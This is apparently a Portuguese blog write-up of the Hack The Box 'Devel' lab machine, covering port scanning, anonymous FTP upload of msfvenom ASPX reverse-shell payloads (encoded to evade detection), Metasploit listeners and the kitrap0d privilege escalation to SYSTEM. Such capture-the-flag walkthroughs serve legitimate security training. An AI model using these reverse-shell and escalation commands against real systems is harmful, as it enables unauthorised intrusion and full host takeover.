
Hack the Box – Devel Writeup
- Arthur Souza
- Writeups
- 19 de abril de 2023
Usaremos o Metasploit neste post!
Hoje veremos o writeup completo da máquina Legacy do Hack The Box!
Link de acesso: https://app.hackthebox.com/machines/Devel
Descrição
A máquina Devel, embora relativamente simples, demonstra os riscos de segurança associados a algumas configurações de programa padrão.
É uma máquina de nível iniciante que pode ser concluída usando explorações disponíveis publicamente.
Conhecimento requeridos:
- Conhecimento básico em Windows
- Enumeração de portas e serviços
Conhecimento que serão aprendidos:
- Identificação de serviços vulneráveis
- Exploração de credenciais fracas
- Técnicas básicas de escalonamento de privilégios do Windows
Reconhecimento
Inicialmente, utilizamos o Masscan para efetuar uma enumeração ágil dos serviços ativos na máquina, direcionando a saída para o arquivo “ports”
masscan -p1-65535,U:1-65535 10.10.10.5 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
Popular a variável “ports” com as portas abertas identificadas
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
Em seguida, empregamos o NMAP para realizar uma varredura dos serviços identificados
nmap -Pn -sV -sC -p$ports 10.10.10.5
Observaçao: Esta é apenas uma forma de se fazer o scan de serviços ativos, mas sinta-se à vontade para usar outros métodos que desejar.
Resultado do scan:

Com base no print acima, podemos observar que os serviços ativos são TCP/21 (FTP) e TCP/80 (HTTP). Além disso, ao realizarmos uma varredura com o NMAP, foi identificado que o usuário “Anonymous” está configurado como permitido, indicando que ele é um usuário ativo e pode ser utilizado para acessar o serviço em questão.
ftp 10.10.10.5
User: anonymous
Pass: anonymous
dir

Ao analisarmos a porta TCP/80 (HTTP), podemos constatar que o arquivo “iisstart.htm” presente no TCP/21(FTP) é a página principal.

Exploração (Shell inicial)
Vamos criar um arquivo .htm e enviar para o FTP, e após, tentarmos acessar via navegador.
echo "teste" > teste.htm

Podemos observar que o arquivo foi criado e enviado para o FTP sem nenhuma restrição.
A fim de verificar se os arquivos presentes no FTP podem impactar o serviço WEB, tentaremos acessar o nosso arquivo. Caso consigamos acesso, prosseguiremos para a próxima etapa da exploração, que é obter uma shell.
http://10.10.10.5/teste.htm

Agora que constatamos que novos arquivos carregados para o FTP não possuem restrições e podem ser acessados pelo navegador, podemos criar um arquivo para obter acesso à shell do sistema. Para isso, utilizaremos o msfvenom para criar um arquivo com a extensão .aspx, visto que, ao analisarmos os arquivos presentes no FTP, identificamos um diretório com o nome “aspnet_client”.
msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=10.10.14.19 LPORT=4443 -e x86/shikata_ga_nai -o shell.aspx
Para criar o arquivo para obtermos a reverse shell, utilizaremos os seguintes parâmetros:
- -f = Formato do arquivo;
- -p = Payload a ser inserido no arquivo. Neste caso, usaremos um payload padrão para reverse-shell Windows;
- LHOST = Endereço IP atribuído à sua máquina pela conexão VPN;
- LPORT = Porta na qual você colocará em modo LISTENING em sua máquina para receber a conexão reversa;
- -e = Encoder utilizado para codificar o payload e evitar que seja detectado pelo sistema de proteção da máquina;
- x86/shikata_ga_nai = Tipo de encoder que usaremos com o payload selecionado;
- -o = Out, onde atribuiremos a saída da estrutura usada para gerar o payload a um arquivo;
- shell.aspx = Nome que daremos ao arquivo que será gerado (pode ser qualquer um de sua preferência).
Após a criação do arquivo para a reverse shell, faremos o upload para o FTP.
ftp 10.10.10.5
User: anonymous
Pass: anonymous
put shell.aspx
dir

Agora que o arquivo foi enviado para o FTP, podemos colocar a porta 4443 (a mesma que selecionamos na criação do payload com o msfvenom) em modo LISTENING e acessar o arquivo pelo navegador.
Observação: É recomendado usar o RLWRAP para uma experiência de shell mais aprimorada.
Comandos para instalação caso não possuir o RLWRAP em sua máquina:
sudo apt-get update
sudo apt-get install rlwrap
Colocando a porta 443 em modo LISTENING:
rlwrap nc -lnvp 4443
Acessando o arquivo através do navegador:
http://10.10.10.5/shell.aspx

Observamos que conseguimos acessar com o usuário de acesso “iis apppool”.
Ao navegar até o diretório C:\Users, podemos identificar alguns usuários, porém, ao tentar acessar as pastas de “Administrator” ou “Babis”, não possuímos privilégios suficientes.

Considerando que temos acesso limitado, podemos utilizar o Metasploit para recuperar a sessão e, em seguida, usar o módulo “SUGGESTER” para identificar possíveis vulnerabilidades na máquina a fim de realizar uma escalada de privilégios.
Para obtermos uma nova shell reversa, precisaremos criar um novo arquivo. No entanto, dessa vez podemos utilizar o módulo “windows/meterpreter/reverse_tcp” em vez do utilizado anteriormente, “windows/reverse_tcp”, para que possamos acessar a máquina por meio do Metasploit utilizando a shell meterpreter.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.19 LPORT=4443 -f aspx > devel.aspx
Após a criação do arquivo para a reverse shell, faremos o upload para o FTP.
ftp 10.10.10.5
User: anonymous
Pass: anonymous
put devel.aspx
dir

Agora que o arquivo foi enviado para o FTP, podemos colocar a porta 4443 em modo LISTENING através do e acessar o arquivo pelo navegador.
msfconsole
use exploit/multi/handler
set lhost 10.10.14.19
Observação: Endereço IP atribuído à sua máquina pela conexão VPN
set lport 4443
Observação: Porta na qual você colocará em modo LISTENING para receber a conexão reversa;
set payload windows/meterpreter/reverse_tcp
Observação: É importante lembrar que o payload utilizado na criação do nosso arquivo de shell reversa com o msfvenom precisa ser o mesmo utilizado agora.
run
Neste momento, o Metasploit entrará em modo LISTENING, aguardando a conexão reversa ser estabelecida.
Acessamos nosso arquivo pelo navegador:
http://10.10.10.5/devel.aspx

Após obtermos nossa shell com o uso do Metasploit, precisamos verificar a arquitetura do sistema antes de utilizarmos o módulo SUGGESTER.
Se o sistema for x86, podemos usar o módulo SUGGESTER, mas se for x64, não será possível. Nesse caso, devemos desativar a validação de arquitetura e prosseguir com outras técnicas de escalonamento de privilégios.
run SESSION=-1 Verbose=true ValidateArch=false ValidatePlatform=true
Link referência: https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/multi/recon/local _exploit_suggester.md
Validando arquitetura do sistema:
sysinfo

Utilizamos o comando abaixo para verificar qual usuário obtivemos acesso com a shell:
bg
Como a arquitetura é x86, podemos seguir com o uso normal do SUGGESTER:
bg
Observação: Este comando deve ser executado dentro do Meterpreter.
sessions
Observação: Caso não saiba qual sessão foi criada para a conexão obtida, é possível utilizar esta opção (geralmente é 1, mas é importante validar para garantir).
use post/multi/recon/local_exploit_suggester
set session 1
run

Aqui vemos alguns possíveis módulos do próprio metasploit que podemos usar para conseguir exploração e com isso obter usuário SYSTEM.
Destes usaremos o módulo exploit/windows/local/ms10_015_kitrap0d, pois ao usar o módulo exploit/windows/local/bypassuac_eventvwr (primeiro da lista) recebemos mensagem de “Exploit abortado devido a falha: sem acesso: Não está no grupo de administradores, não pode escalar com este módulo”
use exploit/windows/local/ms10_015_kitrap0d
set session 1
set lhost 10.10.14.19
run

Como podemos ver no print acima, após executar o exploit nós obtemos acesso com o usuário SYSTEM.
Observação: Vale ressaltar que não é necessário realizar a escalação de privilégio.
Flags do sistema
Flag user.txt
shell
type c:\users\babis\desktop\user.txt
Flag root.xt
type c:\users\administrator\desktop\root.txt

Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !